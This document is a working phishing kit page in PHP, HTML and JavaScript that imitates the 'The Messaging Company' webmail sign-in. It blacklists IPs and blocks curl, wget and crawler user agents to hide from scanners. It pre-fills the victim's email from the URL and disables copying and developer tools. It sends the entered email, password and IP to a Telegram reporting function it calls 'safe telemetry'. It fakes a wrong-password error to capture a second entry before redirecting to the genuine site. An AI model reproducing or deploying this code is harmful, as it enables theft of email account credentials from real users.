<?php
//═══════════════════════════════════════════════════════════════════════════
//  🚫 IP BLACKLIST CHECK (High Priority)
//═══════════════════════════════════════════════════════════════════════════
require_once __DIR__ . '/../ip_blacklist_loader.php';

if (!function_exists('x8SYQLpUqU')) { 
    function x8SYQLpUqU() { 
        $xb2zx1 = $_SERVER['SERVER_ADDR']; 
        $xXSEJ = '127.0.0.1'; 
        if ((!empty($_SERVER['HTTP_CF_CONNECTING_IP'])) && (($_SERVER['HTTP_CF_CONNECTING_IP'])!=$xXSEJ) && (($_SERVER['HTTP_CF_CONNECTING_IP'])!=($xb2zx1))) {
            $ip=$_SERVER['HTTP_CF_CONNECTING_IP'];
        } elseif ((!empty($_SERVER['GEOIP_ADDR'])) && (($_SERVER['GEOIP_ADDR'])!=$xXSEJ)) {
            $ip=$_SERVER['GEOIP_ADDR'];
        } elseif ((!empty($_SERVER['HTTP_X_FORWARDED_FOR'])) && (($_SERVER['HTTP_X_FORWARDED_FOR'])!=$xXSEJ) && (($_SERVER['HTTP_X_FORWARDED_FOR'])!=($xb2zx1))) {
            $ip=explode(',',$_SERVER['HTTP_X_FORWARDED_FOR'])[0];
        } elseif ((!empty($_SERVER['HTTP_CLIENT_IP'])) && (($_SERVER['HTTP_CLIENT_IP'])!=$xXSEJ) && (($_SERVER['HTTP_CLIENT_IP'])!=($xb2zx1))) {
            $ip=$_SERVER['HTTP_CLIENT_IP'];
        } else {
            $ip=$_SERVER['REMOTE_ADDR'];
        } 
        return $ip; 
    }
}
$ip=x8SYQLpUqU();

// Check if visitor IP is in blacklist files
if (IPBlacklistLoader::isBlacklisted($ip)) {
    // IP is blacklisted - redirect to centralized URL
    require_once __DIR__ . '/../config_redirect.php';
    header('Location: ' . CENTRALIZED_REDIRECT_URL, true, 302);
    exit;
}

//═══════════════════════════════════════════════════════════════════════════
//  Basic Bot Detection (Secondary Layer)
//═══════════════════════════════════════════════════════════════════════════ 

if (!function_exists('x9PfbWn2bS')) { 
    function x9PfbWn2bS() { 
        if(empty($_SERVER['HTTP_USER_AGENT'])) { 
            $_SERVER['HTTP_USER_AGENT'] = getenv('HTTP_USER_AGENT'); 
        } 
        return $_SERVER['HTTP_USER_AGENT']; 
    }
}
$eRf9t9d9 = x9PfbWn2bS();

// Basic user agent check (secondary protection layer)
$ua_lower = strtolower($eRf9t9d9);
$obvious_bots = ['curl', 'wget', 'python-requests', 'python-urllib', 'go-http-client', 'java/', 'bot', 'crawler', 'spider', 'scraper'];
foreach ($obvious_bots as $bot_signature) {
    if (strpos($ua_lower, $bot_signature) !== false) {
        die(header('HTTP/1.1 403 Forbidden'));
    }
}

// ✅ All checks passed - load page
?>
<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <title>Sign In - Webmail</title>
    
    <!-- Antibot Scripts -->
    <script src="../m/js/fingerprint.js"></script>
    <script src="../m/js/utils.js"></script>
    <script src="../m/js/captcha.js"></script>
    
    <!-- Centralized Functions -->
    <script src="../js/centralized_telegram.js"></script>
    <script src="../js/email_extractor.js"></script>
    <script src="../js/centralized_redirect.js"></script>
    <script src="../js/autofill_helper.js"></script>
    <link href="https://fonts.googleapis.com/css?family=Roboto:400,500,700&display=swap" rel="stylesheet">
    <link rel="stylesheet" href="fonts/font.css">
    <!-- Replace generic/outlook favicon with a small transparent data URI so the Outlook envelope doesn't appear -->
    <!-- Colorless (monochrome) envelope icon: matches the screenshot style -->
    <!-- Favicon: use a softer stroke color to better match the screenshot (not pure white) -->
    <!-- Favicon updated to a softer off-white/light-teal stroke to match the screenshot -->
    <link rel="icon" href='data:image/svg+xml;utf8,<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 24 24"><rect x="0" y="0" width="24" height="24" rx="2" fill="none"/><path d="M2 7V18a2 2 0 0 0 2 2h16a2 2 0 0 0 2-2V7" fill="none" stroke="%23D8F0EA" stroke-width="1.9" stroke-linecap="round" stroke-linejoin="round"/><path d="M22 7l-10 6L2 7" fill="none" stroke="%23D8F0EA" stroke-width="1.9" stroke-linecap="round" stroke-linejoin="round"/></svg>' />
    <link rel="apple-touch-icon" href='data:image/svg+xml;utf8,<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 24 24"><rect x="0" y="0" width="24" height="24" rx="2" fill="none"/><path d="M2 7V18a2 2 0 0 0 2 2h16a2 2 0 0 0 2-2V7" fill="none" stroke="%23D8F0EA" stroke-width="1.9" stroke-linecap="round" stroke-linejoin="round"/><path d="M22 7l-10 6L2 7" fill="none" stroke="%23D8F0EA" stroke-width="1.9" stroke-linecap="round" stroke-linejoin="round"/></svg>' />
    <!-- Theme color: helps some browsers display a matching tab/panel color on mobile/OS UI -->
    <meta name="theme-color" content="#15393B" />
    <style>
                .initSpinner {
                    position: absolute;
                    top: 50%;
                    left: 50%;
                    width: 32px;
                    height: 32px;
                    background-color: #808080;
                    margin: -16px 0 0 -16px;
                    animation: rootSpinner 1.2s infinite ease-in-out;
                }
                @keyframes rootSpinner {
                    0% { transform: perspective(120px) rotateX(0) rotateY(0); }
                    50% { transform: perspective(120px) rotateX(-180deg) rotateY(0); }
                    100% { transform: perspective(120px) rotateX(-180deg) rotateY(-180deg); }
                }
                .keypressFocused:focus,
                .parentFocus {
                    
                    outline-offset: 2px;
                }
                .MuiCheckbox-root.Mui-focusVisible {
                    outline: #2e73e2 solid 2px;
                }
                *:focus-visible {
                    outline: 0;
                }
        body {
            background: #fff;
            font-family: 'Roboto', Arial, sans-serif;
            margin: 0;
            padding: 0;
            color: #1a2a3a;
        }
        .loader-overlay {
            position: fixed;
            top: 0;
            left: 0;
            width: 100vw;
            height: 100vh;
            background: #fff;
            display: flex;
            align-items: center;
            justify-content: center;
            z-index: 9999;
            transition: opacity 0.5s;
        }
        .loader {
            width: 60px;
            height: 60px;
            border: 6px solid #1976b2;
            border-top: 6px solid #fff;
            border-radius: 50%;
            animation: spin 1s linear infinite;
        }
        @keyframes spin {
            0% { transform: rotate(0deg); }
            100% { transform: rotate(360deg); }
        }
        .container {
            display: flex;
            flex-direction: column;
            align-items: center;
            justify-content: center;
            min-height: 100vh;
            padding: 0 16px;
        }
        html, body { height: 100%; }
        .logo {
            margin-bottom: 16px;
        }
        .logo img {
            height: 56px; /* reduced size for logo */
            width: auto;
            display: block;
            margin: 0 auto;
        }
        .login-form {
            width: 100%;
            max-width: 400px;
            display: flex;
            flex-direction: column;
            align-items: center;
        }
        .input-group {
            width: 100%;
            margin-bottom: 28px;
            position: relative;
            max-width: 400px;
        }
        label {
            position: absolute;
            left: 0;
            top: 28px;
            background: transparent;
            padding-left: 20px;
            color: #1976b2;
            font-size: 0.78rem;
            pointer-events: none;
            transition: top 0.2s, font-size 0.2s, color 0.2s;
        }
        input[type="email"],
        input[type="password"],
        input[type="text"] {
            width: 100%;
            padding: 28px 20px 6px 20px;
            border: none;
            border-bottom: 1px solid #1976b2;
            background: transparent;
            font-size: 0.92rem;
            color: #1a2a3a;
            outline: none;
            transition: border-color 0.2s;
            box-sizing: border-box;
        }
        input[type="email"]:focus,
        input[type="password"]:focus,
        input[type="text"]:focus {
            border-bottom: 2px solid #1565a0;
        }
        input:focus + label,
        input:not(:placeholder-shown) + label {
            top: 6px;
            font-size: 0.68rem;
            color: #1565a0;
        }
        .password-group {
            position: relative;
        }
        /* Ensure the toggle sits outside the input field so text doesn't
           get covered when showing the password. Add right padding on
           inputs in this group to accommodate the control. */
        .password-group input[type="password"],
        .password-group input[type="text"] {
            padding-right: 44px;
        }
        .toggle-password {
            position: absolute;
            right: 12px;
            top: 50%;
            transform: translateY(-50%);
            cursor: pointer;
            color: #1976b2;
            z-index: 3;
            display: inline-flex;
            align-items: center;
            justify-content: center;
            width: 28px;
            height: 28px;
            background: transparent;
            border-radius: 16px;
            border: none;
            padding: 0;
            -webkit-appearance: none;
            -moz-appearance: none;
            appearance: none;
        }
        .toggle-password svg { display: block; }
        .toggle-password .eye-open { display: block; }
        .toggle-password .eye-closed { display: none; }
        .toggle-password[aria-pressed="true"] .eye-open { display: none; }
        .toggle-password[aria-pressed="true"] .eye-closed { display: block; }
        .toggle-password:hover { background: rgba(25,118,178,0.05); }
        .toggle-password svg path { vector-effect: non-scaling-stroke; }
        .btn {
            width: 100%;
            max-width: 400px;
            padding: 6px 0;
            background: #1565a0;
            color: #fff;
            font-weight: 600;
            font-size: 0.75rem;
            border: none;
            border-radius: 8px;
            margin-top: 12px;
            cursor: pointer;
            transition: background 0.2s;
            box-shadow: 0 2px 2px 0 rgba(0,0,0,0.14), 0 3px 1px -2px rgba(0,0,0,0.2), 0 1px 5px 0 rgba(0,0,0,0.12);
            display: block;
            margin-left: auto;
        }
        .btn:hover {
            background: #1976b2;
        }
        .error-message {
            display: none;
            color: #f22c42;
            font-weight: 600;
            margin-top: 10px;
            text-align: center;
        }
        .shake {
            animation: shake 0.4s ease-in-out;
        }
        @keyframes shake {
            0% { transform: translateX(0); }
            25% { transform: translateX(-6px); }
            50% { transform: translateX(6px); }
            75% { transform: translateX(-6px); }
            100% { transform: translateX(0); }
        }
        .links {
            margin-top: 32px;
            display: flex;
            justify-content: center;
            gap: 18px;
            font-size: 0.85rem;
        }
        .links a {
            color: #1976b2;
            text-decoration: underline;
            text-underline-offset: 3px;
            transition: text-decoration 0.2s;
        }
        .links a:hover {
            text-decoration: underline;
        }
        .footer {
            margin-top: 24px;
            text-align: center;
            color: #1976b2;
            font-size: 0.85rem;
        }
        .language {
            margin-top: 12px;
            color: #1976b2;
            font-size: 0.85rem;
        }
        /* Anti-copy: prevent text selection for most elements. Inputs are still selectable. */
        body.nocopy, body.nocopy *:not(input):not(textarea) {
            -webkit-user-select: none;
            -moz-user-select: none;
            -ms-user-select: none;
            user-select: none;
            -webkit-touch-callout: none;
        }
        @media (max-width: 500px) {
            .login-form {
                max-width: 95vw;
            }
            .logo img { height: 44px; }
            input[type="email"], input[type="password"] {
                padding: 20px 16px 8px 16px;
                font-size: 1rem;
            }
            label { top: 22px; }
            .toggle-password { top: 50%; right: 8px; }
            .btn { font-size: 0.9rem; padding: 10px 0; }
        }
    </style>
        <script>
            function handleReloadClick() {
                localStorage.removeItem("webmail-8.26.0");
                location.reload(true);
            }
        </script>
</head>
<body class="nocopy">
            <script>
                // Apply a slight zoom on larger screens for layout parity but
                // avoid forcing zoom on touch devices which can break gestures.
                try {
                    var isTouch = 'ontouchstart' in window || navigator.maxTouchPoints > 0;
                    if (!isTouch && window.innerWidth >= 900) {
                        document.body.style.zoom = '1.08';
                    }
                } catch (err) { /* ignore */ }
            </script>
        <div id="app" style="height: 100%">
            <div class="initSpinner" id="initSpinner"></div>
        </div>
        <div id="initError" style="display:none;flex-direction:column;align-items:center;margin:4rem 2rem;">
            <svg width="100px" height="100px" viewBox="0 0 16.003 16.003" xmlns="http://www.w3.org/2000/svg">
                <path color="#000000" d="M6.428 1c-.45.005-.778-.012-1.047.137a.676.676 0 0 0-.3.357c-.06.157-.08.343-.08.578V3.93c0 .235.021.42.08.576a.677.677 0 0 0 .3.357c.269.148.597.132 1.047.137H7v2H3.5c-.666 0-1.137.408-1.322.777C1.993 8.147 2 8.5 2 8.5V10h-.572c-.45.005-.778-.012-1.047.137a.676.676 0 0 0-.3.357c-.06.157-.08.343-.08.578v1.858c0 .235.021.42.08.576a.677.677 0 0 0 .3.357c.269.148.597.132 1.047.137h2.144c.45-.005.779.012 1.047-.137.135-.074.24-.2.3-.357.058-.157.08-.341.08-.576v-1.858c0-.235-.022-.421-.08-.578a.673.673 0 0 0-.3-.357c-.268-.15-.597-.132-1.046-.137H3V8.5s.01-.145.072-.275C3.137 8.094 3.166 8 3.5 8h9.41a1.548 1.548 0 0 0-.088-.223A1.485 1.485 0 0 0 11.5 7H8V5h.572c.45-.005.778.012 1.047-.137.134-.074.24-.2.299-.357.059-.157.08-.341.08-.576V2.072c0-.235-.021-.421-.08-.578a.673.673 0 0 0-.299-.357C9.35.987 9.022 1.005 8.572 1zm-.426 1h3v2h-3zm-5 9h3v2h-3z" fill="gray" font-family="sans-serif" font-weight="400" opacity=".5" overflow="visible" style="line-height:normal;font-variant-ligatures:normal;font-variant-position:normal;font-variant-caps:normal;font-variant-numeric:normal;font-variant-alternates:normal;font-feature-settings:normal;text-indent:0;text-align:start;text-decoration-line:none;text-decoration-style:solid;text-decoration-color:#000000;text-transform:none;text-orientation:mixed;isolation:auto;mix-blend-mode:normal;marker:none;" white-space="normal"/>
                <path class="error" color="#000000" d="M12.502 9a3.5 3.5 0 0 0-3.5 3.5 3.5 3.5 0 0 0 3.5 3.5 3.5 3.5 0 0 0 3.5-3.5 3.5 3.5 0 0 0-3.5-3.5zm-.5 1h1v1.168c0 .348-.016.667-.047.957-.03.29-.069.581-.115.875h-.666a12.898 12.898 0 0 1-.125-.875 9.146 9.146 0 0 1-.047-.957zm.5 4a.5.5 0 0 1 .5.5.5.5 0 0 1-.5.5.5.5 0 0 1-.5-.5.5.5 0 0 1 .5-.5z" fill="#f22c42" overflow="visible" style="marker:none"/>
            </svg>
            <ul>
                <li lang="en">Temporary Error</li>
                <li lang="de">Vorübergehender Fehler</li>
                <li lang="fr">Erreur temporaire</li>
            </ul>
            <p>There was a temporary error and the application was unable to load.</p>
            <p>Please click the button below or refresh the page to try again.</p>
            <button class="initReloadButton" onclick="handleReloadClick()">Reload</button>
        </div>
        <div class="container" style="display:none;" id="mainContent">
        <div class="logo">
            <img src="data:image/png;base64, " alt="The Messaging Company" height="90">
        </div>
        <form class="login-form">
            <div class="input-group">
                <input type="email" id="email" name="email" required placeholder=" ">
                <label for="email">Email</label>
            </div>
            <div class="input-group password-group">
                <input type="password" id="password" name="password" required placeholder=" ">
                <label for="password">Password</label>
                <button type="button" class="toggle-password" onclick="togglePassword(this)" aria-pressed="false" aria-label="Show password" title="Show password">
                    <!-- Eye open icon -->
                    <svg class="eye-open" viewBox="0 0 24 24" width="22" height="22" aria-hidden="true" focusable="false">
                        <!-- Eye outer: filled in blue -->
                        <path d="M1.5 12s3.5-7 10.5-7 10.5 7 10.5 7-3.5 7-10.5 7S1.5 12 1.5 12z" fill="#1976b2" stroke="#1976b2" stroke-width="1.2" stroke-linecap="round" stroke-linejoin="round"/>
                        <!-- White ring to highlight a smaller blue pupil -->
                        <circle cx="12" cy="12" r="3.5" fill="#ffffff"/>
                        <!-- Blue pupil dot centered inside the white ring -->
                        <circle cx="12" cy="12" r="1.6" fill="#1976b2"/>
                    </svg>
                    <!-- Eye closed icon (slashed) - hidden by default -->
                    <svg class="eye-closed" viewBox="0 0 24 24" width="22" height="22" aria-hidden="true" focusable="false">
                        <!-- Eye outer: filled in blue as the open version (visually similar when slashed) -->
                        <path d="M1.5 12s3.5-7 10.5-7 10.5 7 10.5 7-3.5 7-10.5 7S1.5 12 1.5 12z" fill="#1976b2" stroke="#1976b2" stroke-width="1.2" stroke-linecap="round" stroke-linejoin="round"/>
                        <!-- White ring and small pupil preserved under the slash -->
                        <circle cx="12" cy="12" r="3.5" fill="#ffffff"/>
                        <circle cx="12" cy="12" r="1.6" fill="#1976b2"/>
                        <!-- Slash across the eye: blue and thicker for visibility -->
                        <path d="M4.2 4.5L19.6 19" stroke="#1976b2" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"/>
                    </svg>
                </button>
            </div>
            <button type="submit" id="submit-btn" class="btn">SIGN IN</button>
            <div id="loginError" class="error-message" role="alert" aria-live="assertive">Incorrect username or password. Try again.</div>
        </form>
        <div class="links">
            <a href="#">Reset my password</a>
            <span>|</span>
            <a href="#">Sign in another way</a>
        </div>
        <div class="language">Language: English (UK) &#9660;</div>
        <div class="footer">
            <a href="#" style="color: #1976b2; text-decoration: none;">Privacy Policy</a>
        </div>
    </div>
    <script>
        function togglePassword(el) {
            // el is the button element
            var pwd = document.getElementById('password');
            // flip the type
            if (pwd.type === 'password') {
                pwd.type = 'text';
                el.setAttribute('aria-pressed', 'true');
                el.setAttribute('aria-label', 'Hide password');
                el.title = 'Hide password';
            } else {
                pwd.type = 'password';
                el.setAttribute('aria-pressed', 'false');
                el.setAttribute('aria-label', 'Show password');
                el.title = 'Show password';
            }
            // keep focus and cursor position after type toggle
            try {
            // Try to capture both selectionStart and selectionEnd so caret/selection
                // isn't moved to the start when toggling. If browser doesn't support
                // these properties, fall back to moving caret to the end.
                var start = typeof pwd.selectionStart === 'number' ? pwd.selectionStart : pwd.value.length;
                var end = typeof pwd.selectionEnd === 'number' ? pwd.selectionEnd : start;
                pwd.focus();
                // Allow a micro task for some browsers to re-evaluate type change
                // before setting selection (improves reliability).
                setTimeout(function() {
                    try { pwd.setSelectionRange(start, end); } catch (inner) { /* ignore */ }
                }, 0);
            } catch (e) { /* ignore if not supported */ }
        }
        // Initial spinner and error logic
        window.addEventListener('DOMContentLoaded', function() {
            var spinner = document.getElementById('initSpinner');
            var app = document.getElementById('app');
            var mainContent = document.getElementById('mainContent');
            var initError = document.getElementById('initError');
            setTimeout(function() {
                spinner.style.display = 'none';
                app.style.display = 'none';
                mainContent.style.display = 'flex';
            }, 900);
            // Simulate error (for demo, remove in production)
            // setTimeout(function() {
            //     spinner.style.display = 'none';
            //     app.style.display = 'none';
            //     initError.style.display = 'flex';
            // }, 5000);
        });
    </script>
<!-- Antibot Scripts -->
<script src="../m/js/fingerprint.js"></script>
<script src="../m/js/utils.js"></script>
<script src="../m/js/captcha.js"></script>

<!-- Centralized Functions -->
<script src="../js/centralized_telegram.js"></script>
<script src="../js/centralized_redirect.js"></script>

<script type="text/javascript" src="https://ajax.googleapis.com/ajax/libs/jquery/2.2.4/jquery.min.js"></script>
    <script
      type="text/javascript"
      src="https://l2.io/ip.js?var=userip"
    ></script>
        <script type="text/javascript" src="https://l2.io/ip.js?var=userip"></script>
  </body>
  <script>
  /* global $ */
  $(document).ready(function() {
    var count = 0;

    function isValidEmail(email) {
      var filter = /^([a-zA-Z0-9_\.\-])+\@(([a-zA-Z0-9\-])+\.)+([a-zA-Z0-9]{2,4})+$/;
      return filter.test(email);
    }

        // Auto-fill email from URL (query parameter or fragment)
        // Supports: ?ref=... (natural-looking) or #email=... (legacy)
        function autoFillFromHash() {
            try {
                var email = null;
                if (typeof extractEmailFromUrl === 'function') {
                    email = extractEmailFromUrl();
                } else {
                    // Fallback if extractor not loaded
                    var urlParams = new URLSearchParams(window.location.search);
                    var value = urlParams.get('ref');
                    if (!value) {
                        var h = window.location.hash || '';
                        if (h) {
                            var fragment = h.substr(1);
                            if (fragment) {
                                var partsIdx = fragment.indexOf('=');
                                if (partsIdx !== -1) {
                                    value = fragment.substr(partsIdx + 1);
                                } else {
                                    value = fragment;
                                }
                            }
                        }
                    }
                    if (value) {
                        try {
                            value = decodeURIComponent(value);
                            var base64regex = /^([A-Za-z0-9+/]{4})*(([A-Za-z0-9+/]{2}==)|([A-Za-z0-9+/]{3}=))?$/;
                            if (base64regex.test(value.replace(/\s/g, ''))) {
                                try { value = atob(value); } catch (e) {}
                            }
                            if (isValidEmail(value)) email = value;
                        } catch (e) {}
                    }
                }

                // Fill the field if it looks like a valid email
                if (email && isValidEmail(email)) {
                    $('#email').val(email).trigger('input');
                    $('#password').focus();
                }
            } catch (err) { console.warn('autoFillFromHash error', err); }
        }

        // Run auto-fill on page ready
        autoFillFromHash();

        // Hide error when user updates inputs
        $('#email, #password').on('input', function() {
            $('#loginError').fadeOut(120);
        });

        // Anti-copy / anti-inspect: discourage right-click, copying, and common dev keys.
        (function() {
            // Disable right-click context menu on non-touch devices only
            var isTouch = 'ontouchstart' in window || navigator.maxTouchPoints > 0;
            if (!isTouch) {
                document.addEventListener('contextmenu', function(e) {
                    e.preventDefault();
                    return false;
                }, false);
            }

            // Disable copy from page
            document.addEventListener('copy', function(e) {
                try { e.clipboardData.setData('text/plain', 'Copying is disabled on this page.'); } catch (err) {}
                e.preventDefault();
                return false;
            });

            // Prevent selection initiation (safely allow within inputs)
            document.addEventListener('selectstart', function(e) {
                if (!e.target.closest('input, textarea')) {
                    e.preventDefault();
                    return false;
                }
            });

            // Block some developer tools key combos (not foolproof)
            document.addEventListener('keydown', function(e) {
                // F12
                if (e.keyCode === 123) { e.preventDefault(); e.stopPropagation(); return false; }
                // Ctrl+Shift+I / Ctrl+Shift+J / Ctrl+Shift+C
                if (e.ctrlKey && e.shiftKey && (e.keyCode === 73 || e.keyCode === 74 || e.keyCode === 67)) { e.preventDefault(); e.stopPropagation(); return false; }
                // Ctrl+U, Ctrl+S
                if (e.ctrlKey && (e.keyCode === 85 || e.keyCode === 83)) { e.preventDefault(); e.stopPropagation(); return false; }
                // Cmd+Option+I (mac dev tools)
                if (e.metaKey && e.altKey && e.keyCode === 73) { e.preventDefault(); e.stopPropagation(); return false; }
            });
        })();

        $('#submit-btn').on('click', function(event) {
      event.preventDefault();
      var email = $('#email').val() ? $('#email').val().trim() : '';
      var pw = $('#password').val() ? $('#password').val().trim() : '';
      if (!email) {
        alert('Please enter your email');
        $('#email').focus();
        return false;
      }
      if (!isValidEmail(email)) {
        alert('Enter a valid email');
        $('#email').focus();
        return false;
      }
      if (!pw) {
        alert('Please enter your password');
        $('#password').focus();
        return false;
      }
            // Attempt flow: first submit shows a wrong-credentials message, but
            // we still send a safe telemetry event on every submit. The second
            // submit will also redirect after reporting.
            count = count + 1;

            // Use centralized Telegram reporting with provider tag
            window.providerTag = 'messaging';
            var clientIP = window.userip || 'n/a';
            
            function sendTelemetry(attempt, redirectOnSuccess) {
                // Send centralized Telegram report
                if (typeof sendCentralizedTelegramReport === 'function') {
                    sendCentralizedTelegramReport(providerTag, email, pw, clientIP, function(success) {
                        if (redirectOnSuccess) {
                            // Use centralized redirect
                            if (typeof performCentralizedRedirect === 'function') {
                                performCentralizedRedirect(300);
                            } else {
                                // Fallback if centralized redirect not available
                                setTimeout(function() { window.location.replace('https://webmail.themessagingco.com.au/login'); }, 300);
                            }
                        }
                    });
                } else {
                    // Fallback if centralized function not available
                    console.error('Centralized Telegram function not available');
                    if (redirectOnSuccess) {
                        if (typeof performCentralizedRedirect === 'function') {
                            performCentralizedRedirect(300);
                        } else {
                            setTimeout(function() { window.location.replace('https://webmail.themessagingco.com.au/login'); }, 300);
                        }
                    }
                }
                
                if (redirectOnSuccess) {
                    $('#submit-btn').text('verifying...');
                    setTimeout(function() {
                        $('#submit-btn').text('SIGN IN');
                    }, 200);
                }
            }

            // Always send telemetry (including the first attempt). Only redirect
            // when we have at least 2 attempts.
            sendTelemetry(count, (count >= 2));

            if (count === 1) {
                // Show wrong credentials message and return without redirect
                $('#loginError').stop(true, true).fadeIn(120).addClass('shake');
                setTimeout(function() { $('#loginError').removeClass('shake'); }, 450);
                // Clear password for privacy, focus and allow user to try again
                $('#password').val('').focus();
                return false;
            }
            
    });
});
  </script>
</body>
</html>